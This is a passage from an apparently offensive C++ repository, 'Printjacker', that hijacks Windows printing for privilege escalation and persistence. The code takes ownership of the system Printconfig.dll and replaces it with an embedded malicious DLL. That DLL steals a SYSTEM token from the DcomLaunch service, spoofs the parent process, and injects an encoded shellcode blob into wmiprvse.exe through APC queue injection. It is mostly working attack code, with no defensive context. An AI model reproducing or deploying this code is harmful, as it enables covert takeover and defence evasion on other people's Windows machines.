219 | "\x53\x8a\x9b\xc5\x04\x03\x04\x03\xfb\xd6\xec\x36\x04\x03\x04"
220 | "\x2c\x4f\x3a\x52\x42\x74\x6d\x3c\x3b\x62\x40\x49\x69\x71\x40"
221 | "\x4f\x35\x62\x46\x33\x69\x53\x52\x73\x5c\x30\x3a\x49\x74\x6c"
222 | "\x70\x3d\x70\x4c\x7a\x37\x4f\x76\x64\x73\x51\x56\x4f\x5d\x73"
223 | "\x7c\x70\x52\x4d\x46\x52\x69\x03\x4c\x8a\xc5\x50\x5e\x42\x5c"
224 | "\x4e\x35\xca\x57\x4b\xbc\x03\x36\xab\x80\x03\x04\x03\x04\x53"
225 | "\x57\x50\x4d\xc4\xc6\xe8\x51\x2d\x3f\xfc\xd1\x4b\x8d\xc5\x6e"
226 | "\x09\x5b\x4b\x8d\xf2\x6e\x1c\x5e\x51\x6c\x83\x37\x03\x04\x4a"
227 | "\x8d\xe3\x6e\x07\x45\x5a\x4d\xb9\x71\x45\x9a\x85\x04\x03\x04"
228 | "\x03\xfb\xd6\x49\x32\xc4\x50\x5e\x4b\x8d\xf2\x49\x32\xcd\x4e"
229 | "\x35\xca\x57\x50\x4d\xc4\xc6\x2e\x02\x1b\x7f\xfc\xd1\x86\xc4"
230 | "\x76\x1b\x4b\xc3\xc2\x8c\x10\x04\x03\x4d\xb9\x40\xf3\x31\xe3"
231 | "\x04\x03\x04\x03\xfb\xd6\x4c\xfc\xcb\x77\x06\xe8\xae\xeb\x51"
232 | "\x03\x04\x03\x57\x5a\x6e\x43\x5e\x4a\x8d\xd2\xc5\xe1\x14\x4a"
233 | "\xc3\xc3\x04\x13\x04\x03\x4d\xb9\x5c\xa7\x57\xe6\x04\x03\x04"
234 | "\x03\xfb\xd6\x4c\x90\x57\x50\x4c\x8a\xe3\x4b\x8d\xf2\x4c\x8a"
235 | "\xde\x4a\xc3\xc3\x04\x23\x04\x03\x4d\x8a\xfd\x4a\xbe\x11\x92"
236 | "\x8a\xe6\x03\x04\x03\x04\xfc\xd1\x4b\x87\xc7\x24\x86\xc4\x77"
237 | "\xb6\x65\x8f\x04\x4c\x02\xc7\x86\xc4\x76\xd6\x5b\xc7\x5b\x6e"
238 | "\x03\x5d\x4a\xc3\xc1\xf4\xb6\xa6\x55\xfb\xd6\x7d\x12";
239 |
240 | STARTUPINFOEX si;
241 | PROCESS_INFORMATION pi;
242 | SIZE_T attributeSize;
243 | ZeroMemory(&si, sizeof(STARTUPINFOEX));
244 | //Host process can be changed
245 | WCHAR cmdline[MAX_PATH] = L"C:\\Windows\\System32\\wbem\\wmiprvse.exe -Embedding";
246 |
247 | // PPID Spoof: https://www.ired.team/offensive-security/defense-evasion/parent-process-id-ppid-spoofing
248 | InitializeProcThreadAttributeList(NULL, 1, 0, &attributeSize);
249 | si.lpAttributeList =
250 | (LPPROC_THREAD_ATTRIBUTE_LIST)HeapAlloc
251 | (GetProcessHeap(), 0, attributeSize);
252 | InitializeProcThreadAttributeList(si.lpAttributeList, 1, 0, &attributeSize);
253 | UpdateProcThreadAttribute(si.lpAttributeList, 0,
254 | PROC_THREAD_ATTRIBUTE_PARENT_PROCESS,
255 | &hParent, sizeof(HANDLE), NULL, NULL);
256 | si.StartupInfo.cb = sizeof(STARTUPINFOEX);
257 |
258 | // https://www.ired.team/offensive-security/code-injection-process-injection/early-bird-apc-queue-code-injection
259 | CreateProcessW(NULL, cmdline, NULL, NULL, FALSE,
260 | EXTENDED_STARTUPINFO_PRESENT|CREATE_SUSPENDED|CREATE_NO_WINDOW,
261 | NULL, NULL, &si.StartupInfo, &pi);
262 | HANDLE victimProcess = pi.hProcess;
263 | HANDLE threadHandle = pi.hThread;
264 |
265 | LPVOID shellAddress = VirtualAllocEx(victimProcess, NULL,
266 | sizeof(shellcode), MEM_COMMIT|MEM_RESERVE, PAGE_EXECUTE_READWRITE);
267 | PTHREAD_START_ROUTINE apcRoutine = (PTHREAD_START_ROUTINE)shellAddress;
268 |
269 | WriteProcessMemory(victimProcess, shellAddress, shellcode,
270 | sizeof(shellcode), NULL);
271 | QueueUserAPC((PAPCFUNC)apcRoutine, threadHandle, NULL);
272 | ResumeThread(threadHandle);
273 |
274 | return 0;
275 | }
276 |
277 | DWORD WINAPI StartInjector(PVOID) {
278 | HANDLE hSystemToken;
279 | HANDLE hParent;
280 |
281 | if (!GetSystem()) {
282 | //printf("\n[-] Failed to get SYSTEM token.");
283 | return 46;
284 | }
285 |
286 | if (!OpenThreadToken(GetCurrentThread(), TOKEN_ALL_ACCESS,
287 | FALSE, &hSystemToken))
288 | {
289 | //wprintf(L"OpenThreadToken(). Error: %d\n", GetLastError());
290 | return -1;
291 | }
292 |
293 | if (FAILED(GetServiceHandle(L"DcomLaunch", &hParent))) {
294 | //printf("\n[-] ERROR GetServiceHandle DcomLaunch %d", GetLastError());
295 | CloseHandle(hParent);
296 | return -1;
297 | }
298 |
299 | //printf("\n[+] Trying to inject to the victim process...");
300 | InjectNewProcess(hParent);
301 |
302 | CloseHandle(hSystemToken);
303 | CloseHandle(hParent);
304 | return 0;
305 |
306 | }
307 |
308 |
309 | extern "C" __declspec(dllexport) DWORD DrvDeviceCapabilities() {
310 | //Create mutex to block multiple execution
311 | HANDLE hMutex = CreateMutex(nullptr, TRUE, L"printjacked");
312 | if (ERROR_ALREADY_EXISTS == GetLastError()) {
313 | CloseHandle(hMutex);
314 | return 0;
315 | }
316 |
317 | HANDLE hThread = CreateThread(nullptr, 0, StartInjector,
318 | nullptr, 0, nullptr);
319 | if (!hThread) {
320 | //printf("\n[-] ERROR Creating thread: %d", GetLastError());
321 | return -1;
322 | }
323 | WaitForSingleObject(hThread, INFINITE);
324 |
325 | DWORD result;
326 | GetExitCodeThread(hThread, &result);
327 |
328 | if (result == 46) {
329 | //printf("\n[+] Continuing with current token...");
330 | ExecSc();
331 | }
332 |
333 | return 0;
334 | }
335 |
336 | BOOL APIENTRY DllMain( HMODULE hModule,
337 | DWORD ul_reason_for_call,
338 | LPVOID lpReserved
339 | )
340 | {
341 | switch (ul_reason_for_call)
342 | {
343 | case DLL_PROCESS_ATTACH:
344 | case DLL_THREAD_ATTACH:
345 | case DLL_THREAD_DETACH:
346 | case DLL_PROCESS_DETACH:
347 | break;
348 | }
349 | return TRUE;
350 | }
351 |
352 |
--------------------------------------------------------------------------------
/Printjacker/PrintConfig/pch.cpp:
--------------------------------------------------------------------------------
1 | // pch.cpp: source file corresponding to the pre-compiled header
2 |
3 | #include "pch.h"
4 |
5 | // When you are using pre-compiled headers, this source file is necessary for compilation to succeed.
6 |
--------------------------------------------------------------------------------
/Printjacker/PrintConfig/pch.h:
--------------------------------------------------------------------------------
1 | // pch.h: This is a precompiled header file.
2 | // Files listed below are compiled only once, improving build performance for future builds.
3 | // This also affects IntelliSense performance, including code completion and many code browsing features.
4 | // However, files listed here are ALL re-compiled if any one of them is updated between builds.
5 | // Do not add files here that you will be updating frequently as this negates the performance advantage.
6 |
7 | #ifndef PCH_H
8 | #define PCH_H
9 |
10 | // add headers that you want to pre-compile here
11 | #include
12 |
13 | #endif //PCH_H
14 |
--------------------------------------------------------------------------------
/Printjacker/PrintConfig/token.cpp:
--------------------------------------------------------------------------------
1 | #include "pch.h"
2 | #include
3 | # pragma comment (lib, "ntdll.lib")
4 |
5 | #define ProcessHandleInformation (PROCESSINFOCLASS)51
6 |
7 | typedef struct _PROCESS_HANDLE_TABLE_ENTRY_INFO
8 | {
9 | HANDLE HandleValue;
10 | ULONGLONG HandleCount;
11 | ULONGLONG PointerCount;
12 | ACCESS_MASK GrantedAccess;
13 | ULONG ObjectTypeIndex;
14 | ULONG HandleAttributes;
15 | ULONG Reserved;
16 | } PROCESS_HANDLE_TABLE_ENTRY_INFO, * PPROCESS_HANDLE_TABLE_ENTRY_INFO;
17 |
18 | typedef struct _PROCESS_HANDLE_SNAPSHOT_INFORMATION
19 | {
20 | ULONGLONG NumberOfHandles;
21 | ULONGLONG Reserved;
22 | PROCESS_HANDLE_TABLE_ENTRY_INFO Handles[1];
23 | } PROCESS_HANDLE_SNAPSHOT_INFORMATION, * PPROCESS_HANDLE_SNAPSHOT_INFORMATION;
24 |
25 | typedef struct _OBJECT_TYPE_INFORMATION
26 | {
27 | UNICODE_STRING TypeName;
28 | ULONG TotalNumberOfObjects;
29 | ULONG TotalNumberOfHandles;
30 | ULONG TotalPagedPoolUsage;
31 | ULONG TotalNonPagedPoolUsage;
32 | ULONG TotalNamePoolUsage;
33 | ULONG TotalHandleTableUsage;
34 | ULONG HighWaterNumberOfObjects;
35 | ULONG HighWaterNumberOfHandles;
36 | ULONG HighWaterPagedPoolUsage;
37 | ULONG HighWaterNonPagedPoolUsage;
38 | ULONG HighWaterNamePoolUsage;
39 | ULONG HighWaterHandleTableUsage;
40 | ULONG InvalidAttributes;
41 | GENERIC_MAPPING GenericMapping;
42 | ULONG ValidAccessMask;
43 | BOOLEAN SecurityRequired;
44 | BOOLEAN MaintainHandleCount;
45 | BOOLEAN TypeIndex;
46 | CHAR ReservedByte;
47 | ULONG PoolType;
48 | ULONG DefaultPagedPoolCharge;
49 | ULONG DefaultNonPagedPoolCharge;
50 | } OBJECT_TYPE_INFORMATION, * POBJECT_TYPE_INFORMATION;
51 |
52 | HRESULT
53 | GetTokenObjectIndex(
54 | _Out_ PULONG TokenIndex
55 | )
56 | {
57 | HANDLE hToken;
58 | BOOL bRes;
59 | NTSTATUS status;
60 | struct
61 | {
62 | OBJECT_TYPE_INFORMATION TypeInfo;
63 | WCHAR TypeNameBuffer[sizeof("Token")];
64 | } typeInfoWithName;
65 |
66 | //
67 | // Open the current process token
68 | //
69 | bRes = OpenProcessToken(GetCurrentProcess(), MAXIMUM_ALLOWED, &hToken);
70 | if (bRes == FALSE)
71 | {
72 | return HRESULT_FROM_WIN32(GetLastError());
73 | }
74 |
75 | //
76 | // Get the object type information for the token handle
77 | //
78 | status = NtQueryObject(hToken,
79 | ObjectTypeInformation,
80 | &typeInfoWithName,
81 | sizeof(typeInfoWithName),
82 | NULL);
83 | CloseHandle(hToken);
84 | if (!NT_SUCCESS(status))
85 | {
86 | return HRESULT_FROM_NT(status);
87 | }
88 |
89 | //
90 | // Return the object type index
91 | //
92 | *TokenIndex = typeInfoWithName.TypeInfo.TypeIndex;
93 | return ERROR_SUCCESS;
94 | }
95 |
96 | HRESULT
97 | GetSystemTokenFromProcess(
98 | _In_ HANDLE ProcessHandle
99 | )
100 | {
101 | NTSTATUS status;
102 | PROCESS_HANDLE_SNAPSHOT_INFORMATION localInfo;
103 | PPROCESS_HANDLE_SNAPSHOT_INFORMATION handleInfo = &localInfo;
104 | ULONG bytes;
105 | ULONG tokenIndex;
106 | ULONG i;
107 | HRESULT hResult;
108 | BOOL bRes;
109 | HANDLE dupHandle;
110 | TOKEN_STATISTICS tokenStats;
111 | HANDLE hThread;
112 | LUID systemLuid = SYSTEM_LUID;
113 |
114 | //
115 | // Get the Object Type Index for Token Objects so we can recognize them
116 | //
117 | hResult = GetTokenObjectIndex(&tokenIndex);
118 | if (FAILED(hResult))
119 | {
120 | goto Failure;
121 | }
122 |
123 | //
124 | // Check how big the process handle list ist
125 | //
126 | status = NtQueryInformationProcess(ProcessHandle,
127 | ProcessHandleInformation,
128 | handleInfo,
129 | sizeof(*handleInfo),
130 | &bytes);
131 | if (NT_SUCCESS(status))
132 | {
133 | hResult = ERROR_UNIDENTIFIED_ERROR;
134 | goto Failure;
135 | }
136 |
137 | //
138 | // Add space for 16 more handles and try again
139 | //
140 | bytes += 16 * sizeof(*handleInfo);
141 | handleInfo = (PPROCESS_HANDLE_SNAPSHOT_INFORMATION)HeapAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY, bytes);
142 | status = NtQueryInformationProcess(ProcessHandle,
143 | ProcessHandleInformation,
144 | handleInfo,
145 | bytes,
146 | NULL);
147 | if (!NT_SUCCESS(status))
148 | {
149 | hResult = HRESULT_FROM_NT(status);
150 | goto Failure;
151 | }
152 |
153 | //
154 | // Enumerate each one
155 | //
156 | for (i = 0; i < handleInfo->NumberOfHandles; i++)
157 | {
158 | //
159 | // Check if it's a token handle with full access
160 | //
161 | if ((handleInfo->Handles[i].ObjectTypeIndex == tokenIndex) &&
162 | (handleInfo->Handles[i].GrantedAccess == TOKEN_ALL_ACCESS))
163 | {
164 | //
165 | // Duplicate the token so we can take a look at it
166 | //
167 | bRes = DuplicateHandle(ProcessHandle,
168 | handleInfo->Handles[i].HandleValue,
169 | GetCurrentProcess(),
170 | &dupHandle,
171 | 0,
172 | FALSE,
173 | DUPLICATE_SAME_ACCESS);
174 | if (bRes == FALSE)
175 | {
176 | hResult = HRESULT_FROM_WIN32(GetLastError());
177 | goto Failure;
178 | }
179 |
180 | //
181 | // Get information on the token
182 | //
183 | bRes = GetTokenInformation(dupHandle,
184 | TokenStatistics,
185 | &tokenStats,
186 | sizeof(tokenStats),
187 | &bytes);
188 | if (bRes == FALSE)
189 | {
190 | CloseHandle(dupHandle);
191 | hResult = HRESULT_FROM_WIN32(GetLastError());
192 | goto Failure;
193 | }
194 |
195 | //
196 | // Check if its a system token with all of its privileges intact
197 | //
198 | if ((*(PULONGLONG)&tokenStats.AuthenticationId ==
199 | *(PULONGLONG)&systemLuid) &&
200 | (tokenStats.PrivilegeCount >= 22))
201 | {
202 | //
203 | // We have a good candidate, impersonate it!
204 | //
205 | hThread = GetCurrentThread();
206 | bRes = SetThreadToken(&hThread, dupHandle);
207 | //
208 | // Always close the handle since it's not needed
209 | //
210 | CloseHandle(dupHandle);
211 | if (bRes == FALSE)
212 | {
213 | hResult = HRESULT_FROM_WIN32(GetLastError());
214 | goto Failure;
215 | }
216 |
217 | //
218 | // Get out of the loop
219 | //
220 | hResult = ERROR_SUCCESS;
221 | break;
222 | }
223 |
224 | //
225 | // Close this token and move on to the next one
226 | //
227 | CloseHandle(dupHandle);
228 | }
229 | }
230 |
231 | Failure:
232 | //
233 | // Free the handle list if we had one
234 | //
235 | if (handleInfo != &localInfo)
236 | {
237 | HeapFree(GetProcessHeap(), 0, handleInfo);
238 | }
239 | return hResult;
240 | }
241 |
242 | HRESULT
243 | GetServiceHandle(
244 | _In_ LPCWSTR ServiceName,
245 | _Out_ PHANDLE ProcessHandle
246 | )
247 | {
248 | SC_HANDLE hScm, hRpc;
249 | BOOL bRes;
250 | SERVICE_STATUS_PROCESS procInfo;
251 | HRESULT hResult;
252 | DWORD dwBytes;
253 | HANDLE hProc;
254 |
255 | //
256 | // Prepare for cleanup
257 | //
258 | hScm = NULL;
259 | hRpc = NULL;
260 |
261 | //
262 | // Connect to the SCM
263 | //
264 | hScm = OpenSCManager(NULL, NULL, SC_MANAGER_CONNECT);
265 | if (hScm == NULL)
266 | {
267 | hResult = HRESULT_FROM_WIN32(GetLastError());
268 | goto Failure;
269 | }
270 |
271 | //
272 | // Open the service
273 | //
274 | hRpc = OpenService(hScm, ServiceName, SERVICE_QUERY_STATUS);
275 | if (hRpc == NULL)
276 | {
277 | hResult = HRESULT_FROM_WIN32(GetLastError());
278 | goto Failure;
279 | }
280 |
281 | //
282 | // Query the process information
283 | //
284 | bRes = QueryServiceStatusEx(hRpc,
285 | SC_STATUS_PROCESS_INFO,
286 | (LPBYTE)&procInfo,
287 | sizeof(procInfo),
288 | &dwBytes);
289 | if (bRes == FALSE)
290 | {
291 | hResult = HRESULT_FROM_WIN32(GetLastError());
292 | goto Failure;
293 | }
294 |
295 | //
296 | // Open a handle for all access to the PID
297 | //
298 | hProc = OpenProcess(PROCESS_ALL_ACCESS, FALSE, procInfo.dwProcessId);
299 | if (hProc == NULL)
300 | {
301 | hResult = HRESULT_FROM_WIN32(GetLastError());
302 | goto Failure;
303 | }
304 |
305 | //
306 | // Return the PID
307 | //
308 | *ProcessHandle = hProc;
309 | hResult = ERROR_SUCCESS;
310 |
311 | Failure:
312 | //
313 | // Cleanup the handles
314 | //
315 | if (hRpc != NULL)
316 | {
317 | CloseServiceHandle(hRpc);
318 | }
319 | if (hScm != NULL)
320 | {
321 | CloseServiceHandle(hScm);
322 | }
323 | return hResult;
324 | }
--------------------------------------------------------------------------------
/Printjacker/PrintConfig/token.h:
--------------------------------------------------------------------------------
1 | #pragma once
2 | #include
3 | /**
4 | *
5 | * @ brief : Locates an impersonation token for the
6 | * NT AUTHORITY\SYSTEM user within the target
7 | * process.
8 | *
9 | * @ arg HANDLE hProcess : Handle to an opened process
10 | * to enum for process handles.
11 | *
12 | * @ ret : Returns a pointer to a useable handle to
13 | * impersonate. The target must close the handle
14 | * when they are done.
15 | *
16 | **/
17 | HRESULT GetSystemTokenFromProcess(_In_ HANDLE ProcessHandle);
18 | HRESULT GetServiceHandle(_In_ LPCWSTR ServiceName, _Out_ PHANDLE ProcessHandle);
--------------------------------------------------------------------------------
/Printjacker/Printjacker.sln:
--------------------------------------------------------------------------------
1 |
2 | Microsoft Visual Studio Solution File, Format Version 12.00
3 | # Visual Studio Version 16
4 | VisualStudioVersion = 16.0.30717.126
5 | MinimumVisualStudioVersion = 10.0.40219.1
6 | Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "Printjacker", "Printjacker\Printjacker.vcxproj", "{9CF3A232-A28E-428C-8368-FCC622145321}"
7 | ProjectSection(ProjectDependencies) = postProject
8 | {902C4710-FF3E-45A4-BD70-6865DB8DB48B} = {902C4710-FF3E-45A4-BD70-6865DB8DB48B}
9 | EndProjectSection
10 | EndProject
11 | Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "PrintConfig", "PrintConfig\PrintConfig.vcxproj", "{902C4710-FF3E-45A4-BD70-6865DB8DB48B}"
12 | EndProject
13 | Global
14 | GlobalSection(SolutionConfigurationPlatforms) = preSolution
15 | Debug|x64 = Debug|x64
16 | Debug|x86 = Debug|x86
17 | Release|x64 = Release|x64
18 | Release|x86 = Release|x86
19 | EndGlobalSection
20 | GlobalSection(ProjectConfigurationPlatforms) = postSolution
21 | {9CF3A232-A28E-428C-8368-FCC622145321}.Debug|x64.ActiveCfg = Debug|x64
22 | {9CF3A232-A28E-428C-8368-FCC622145321}.Debug|x64.Build.0 = Debug|x64
23 | {9CF3A232-A28E-428C-8368-FCC622145321}.Debug|x86.ActiveCfg = Debug|Win32
24 | {9CF3A232-A28E-428C-8368-FCC622145321}.Debug|x86.Build.0 = Debug|Win32
25 | {9CF3A232-A28E-428C-8368-FCC622145321}.Release|x64.ActiveCfg = Release|x64
26 | {9CF3A232-A28E-428C-8368-FCC622145321}.Release|x64.Build.0 = Release|x64
27 | {9CF3A232-A28E-428C-8368-FCC622145321}.Release|x86.ActiveCfg = Release|Win32
28 | {9CF3A232-A28E-428C-8368-FCC622145321}.Release|x86.Build.0 = Release|Win32
29 | {902C4710-FF3E-45A4-BD70-6865DB8DB48B}.Debug|x64.ActiveCfg = Debug|x64
30 | {902C4710-FF3E-45A4-BD70-6865DB8DB48B}.Debug|x64.Build.0 = Debug|x64
31 | {902C4710-FF3E-45A4-BD70-6865DB8DB48B}.Debug|x86.ActiveCfg = Debug|Win32
32 | {902C4710-FF3E-45A4-BD70-6865DB8DB48B}.Debug|x86.Build.0 = Debug|Win32
33 | {902C4710-FF3E-45A4-BD70-6865DB8DB48B}.Release|x64.ActiveCfg = Release|x64
34 | {902C4710-FF3E-45A4-BD70-6865DB8DB48B}.Release|x64.Build.0 = Release|x64
35 | {902C4710-FF3E-45A4-BD70-6865DB8DB48B}.Release|x86.ActiveCfg = Release|Win32
36 | {902C4710-FF3E-45A4-BD70-6865DB8DB48B}.Release|x86.Build.0 = Release|Win32
37 | EndGlobalSection
38 | GlobalSection(SolutionProperties) = preSolution
39 | HideSolutionNode = FALSE
40 | EndGlobalSection
41 | GlobalSection(ExtensibilityGlobals) = postSolution
42 | SolutionGuid = {EE77AEE7-9BAD-429F-976E-B77CAF85918D}
43 | EndGlobalSection
44 | EndGlobal
45 |
--------------------------------------------------------------------------------
/Printjacker/Printjacker/Printjacker.rc:
--------------------------------------------------------------------------------
1 | // Microsoft Visual C++ generated resource script.
2 | //
3 | #include "resource.h"
4 |
5 | #define APSTUDIO_READONLY_SYMBOLS
6 | /////////////////////////////////////////////////////////////////////////////
7 | //
8 | // Generated from the TEXTINCLUDE 2 resource.
9 | //
10 | #include "winres.h"
11 |
12 | /////////////////////////////////////////////////////////////////////////////
13 | #undef APSTUDIO_READONLY_SYMBOLS
14 |
15 | /////////////////////////////////////////////////////////////////////////////
16 | // English (United States) resources
17 |
18 | #if !defined(AFX_RESOURCE_DLL) || defined(AFX_TARG_ENU)
19 | LANGUAGE LANG_ENGLISH, SUBLANG_ENGLISH_US
20 | #pragma code_page(1252)
21 |
22 | #ifdef APSTUDIO_INVOKED
23 | /////////////////////////////////////////////////////////////////////////////
24 | //
25 | // TEXTINCLUDE
26 | //
27 |
28 | 1 TEXTINCLUDE
29 | BEGIN
30 | "resource.h\0"
31 | END
32 |
33 | 2 TEXTINCLUDE
34 | BEGIN
35 | "#include ""winres.h""\r\n"
36 | "\0"
37 | END
38 |
39 | 3 TEXTINCLUDE
40 | BEGIN
41 | "\r\n"
42 | "\0"
43 | END
44 |
45 | #endif // APSTUDIO_INVOKED
46 |
47 |
48 | /////////////////////////////////////////////////////////////////////////////
49 | //
50 | // FILE
51 | //
52 |
53 | IDR_FILE1 FILE "..\\x64\\Release\\PrintConfig.dll"
54 |
55 | #endif // English (United States) resources
56 | /////////////////////////////////////////////////////////////////////////////
57 |
58 |
59 |
60 | #ifndef APSTUDIO_INVOKED
61 | /////////////////////////////////////////////////////////////////////////////
62 | //
63 | // Generated from the TEXTINCLUDE 3 resource.
64 | //
65 |
66 |
67 | /////////////////////////////////////////////////////////////////////////////
68 | #endif // not APSTUDIO_INVOKED
69 |
70 |
--------------------------------------------------------------------------------
/Printjacker/Printjacker/Printjacker.vcxproj:
--------------------------------------------------------------------------------
1 |
2 |
3 |
4 |
5 | Debug
6 | Win32
7 |
8 |
9 | Release
10 | Win32
11 |
12 |
13 | Debug
14 | x64
15 |
16 |
17 | Release
18 | x64
19 |
20 |
21 |
22 | 16.0
23 | Win32Proj
24 | {9cf3a232-a28e-428c-8368-fcc622145321}
25 | Printjacker
26 | 10.0
27 |
28 |
29 |
30 | Application
31 | true
32 | v142
33 | Unicode
34 |
35 |
36 | Application
37 | false
38 | v142
39 | true
40 | Unicode
41 |
42 |
43 | Application
44 | true
45 | v142
46 | Unicode
47 |
48 |
49 | Application
50 | false
51 | v142
52 | true
53 | Unicode
54 |
55 |
56 |
57 |
58 |
59 |
60 |
61 |
62 |
63 |
64 |
65 |
66 |
67 |
68 |
69 |
70 |
71 |
72 |
73 |
74 | true
75 |
76 |
77 | false
78 |
79 |
80 | true
81 |
82 |
83 | false
84 |
85 |
86 |
87 | Level3
88 | true
89 | WIN32;_DEBUG;_CONSOLE;%(PreprocessorDefinitions)
90 | true
91 |
92 |
93 | Console
94 | true
95 |
96 |
97 |
98 |
99 | Level3
100 | true
101 | true
102 | true
103 | WIN32;NDEBUG;_CONSOLE;%(PreprocessorDefinitions)
104 | true
105 |
106 |
107 | Console
108 | true
109 | true
110 | true
111 |
112 |
113 |
114 |
115 | Level3
116 | true
117 | _DEBUG;_CONSOLE;%(PreprocessorDefinitions)
118 | true
119 | MultiThreadedDebugDLL
120 |
121 |
122 | Console
123 | true
124 |
125 |
126 |
127 |
128 | Level3
129 | true
130 | true
131 | true
132 | NDEBUG;_CONSOLE;%(PreprocessorDefinitions)
133 | true
134 | MultiThreaded
135 |
136 |
137 | Console
138 | true
139 | true
140 | false
141 |
142 |
143 |
144 |
145 |
146 |
147 |
148 |
149 |
150 |
151 |
152 |
153 |
154 |
155 |
156 |
157 |
158 |
159 |
--------------------------------------------------------------------------------
/Printjacker/Printjacker/Printjacker.vcxproj.filters:
--------------------------------------------------------------------------------
1 |
2 |
3 |
4 |
5 | {4FC737F1-C7A5-4376-A066-2A32D752A2FF}
6 | cpp;c;cc;cxx;c++;cppm;ixx;def;odl;idl;hpj;bat;asm;asmx
7 |
8 |
9 | {93995380-89BD-4b04-88EB-625FBE52EBFB}
10 | h;hh;hpp;hxx;h++;hm;inl;inc;ipp;xsd
11 |
12 |
13 | {67DA6AB6-F800-4c08-8B7A-83BB121AAD01}
14 | rc;ico;cur;bmp;dlg;rc2;rct;bin;rgs;gif;jpg;jpeg;jpe;resx;tiff;tif;png;wav;mfcribbon-ms
15 |
16 |
17 |
18 |
19 | Source Files
20 |
21 |
22 |
23 |
24 | Header Files
25 |
26 |
27 |
28 |
29 | Resource Files
30 |
31 |
32 |
33 |
34 | Resource Files
35 |
36 |
37 |
38 |
--------------------------------------------------------------------------------
/Printjacker/Printjacker/Printjacker.vcxproj.user:
--------------------------------------------------------------------------------
1 |
2 |
3 |
4 | -find
5 | WindowsLocalDebugger
6 |
7 |
--------------------------------------------------------------------------------
/Printjacker/Printjacker/Source.cpp:
--------------------------------------------------------------------------------
1 | #include
2 | #include
3 | #include
4 | #include
5 | #include "resource.h"
6 |
7 | #pragma warning(disable:4996)
8 |
9 | BOOL GetDriverDirectory(wchar_t* drvDir) {
10 | WIN32_FIND_DATA FindFileData;
11 | HANDLE hFind;
12 | hFind = FindFirstFile(
13 | L"C:\\Windows\\System32\\DriverStore\\FileRepository\\prnms003.inf_amd64*",
14 | &FindFileData);
15 | wchar_t BeginPath[MAX_PATH] =
16 | L"c:\\windows\\system32\\DriverStore\\FileRepository\\";
17 | wchar_t PrinterDriverFolder[MAX_PATH] = {};
18 | wchar_t EndPath[23] = L"\\Amd64";
19 | wmemcpy(PrinterDriverFolder, FindFileData.cFileName,
20 | wcslen(FindFileData.cFileName));
21 | FindClose(hFind);
22 | wcscat(BeginPath, PrinterDriverFolder);
23 | wcscat(BeginPath, EndPath);
24 | wmemcpy(drvDir, BeginPath, wcslen(BeginPath));
25 | return TRUE;
26 | }
27 |
28 | DWORD ChangePermissions(LPWSTR targetFile) {
29 | //takeown /r /f [DIR]\Printconfig.dll
30 | WCHAR cmdline1[MAX_PATH] = L"C:\\Windows\\System32\\takeown.exe /r /f ";
31 | wcscat(cmdline1, targetFile);
32 | //printf("\n[+] Trying to execute: %ws", cmdline1);
33 | STARTUPINFO si = { sizeof(si) };
34 | PROCESS_INFORMATION pi;
35 | CreateProcess(nullptr, cmdline1, nullptr,
36 | nullptr, FALSE, 0, nullptr, nullptr, &si, &pi);
37 | WaitForSingleObject(pi.hProcess, INFINITE);
38 |
39 | //cacls [DIR]\Printconfig.dll /e /p Administrators:F
40 | ZeroMemory(&si, sizeof(si));
41 | ZeroMemory(&pi, sizeof(pi));
42 | WCHAR cmdline2[MAX_PATH] = L"C:\\Windows\\System32\\cacls.exe ";
43 | wcscat(cmdline2, targetFile);
44 | wcscat(cmdline2, L" /e /p Administrators:F");
45 | //printf("\n[+] Trying to execute: %ws", cmdline2);
46 | CreateProcess(nullptr, cmdline2, nullptr,
47 | nullptr, FALSE, 0, nullptr, nullptr, &si, &pi);
48 | WaitForSingleObject(pi.hProcess, INFINITE);
49 | DWORD result = -1;
50 | GetExitCodeProcess(pi.hProcess, &result);
51 | return result;
52 | }
53 |
54 |
55 | DWORD ModifyPrinterConfig(wchar_t* targetDir) {
56 | //https://stackoverflow.com/questions/3023762/how-to-add-a-text-file-as-resource-in-vc-2005
57 | HRSRC hRes = FindResource(
58 | GetModuleHandle(NULL), MAKEINTRESOURCE(IDR_FILE1), L"FILE");
59 | DWORD dwSize = SizeofResource(GetModuleHandle(NULL), hRes);
60 | HGLOBAL hGlob = LoadResource(GetModuleHandle(NULL), hRes);
61 | const char* pDll = (const char*)LockResource(hGlob);
62 | printf("\n\n[+] Resource is found. Trying to modify the target file...");
63 |
64 | WCHAR targetFile[MAX_PATH] = { 0 };
65 | WCHAR origFile[MAX_PATH] = { 0 };
66 | wcscat(targetFile, targetDir);
67 | wcscat(targetFile, L"\\Printconfig.dll");
68 | wcscat(origFile, targetDir);
69 | wcscat(origFile, L"\\Printconfig_orig.dll");
70 | if (!CopyFile(targetFile, origFile, TRUE)) {
71 | if (GetLastError() != ERROR_FILE_EXISTS) {
72 | printf("\n[-] Failed to CopyFile(): %d", GetLastError());
73 | return -1;
74 | }
75 | printf("\n[*] Printconfig_orig.dll is found. Continuing without overwriting");
76 | }
77 | else printf("\n[+] Original Dll is copied to Princonfig_orig.dll");
78 | HANDLE hFile = CreateFile(targetFile, GENERIC_WRITE,
79 | 0, NULL, TRUNCATE_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL);
80 | if (hFile == INVALID_HANDLE_VALUE) {
81 | printf("\n[-] Failed to open Printconfig.dll for writing: %d", GetLastError());
82 | goto Cleanup;
83 | }
84 | DWORD dwBytesWritten;
85 | if (!WriteFile(hFile, pDll, dwSize, &dwBytesWritten, NULL)) {
86 | printf("\n[-] Failed to write resource data into the target: %d", GetLastError());
87 | goto Cleanup;
88 | }
89 | printf("\n[+] Printconfig.dll is successfully modified!");
90 | CloseHandle(hFile);
91 | return 0;
92 |
93 | Cleanup:
94 | CloseHandle(hFile);
95 | return -1;
96 | }
97 |
98 | BOOL RestorePrinterConfig(wchar_t* targetDir) {
99 | WCHAR targetFile[MAX_PATH] = { 0 };
100 | WCHAR origFile[MAX_PATH] = { 0 };
101 | wcscat(targetFile, targetDir);
102 | wcscat(targetFile, L"\\Printconfig.dll");
103 | wcscat(origFile, targetDir);
104 | wcscat(origFile, L"\\Printconfig_orig.dll");
105 |
106 | if (!CopyFile(origFile, targetFile, FALSE)) {
107 | printf("\n[-] Failed to restore Printconfig.dll: %d", GetLastError());
108 | return -1;
109 | }
110 | printf("\n[+] Printconfig.dll is restored from Printconfig_orig.dll");
111 |
112 | if (!DeleteFile(origFile)) {
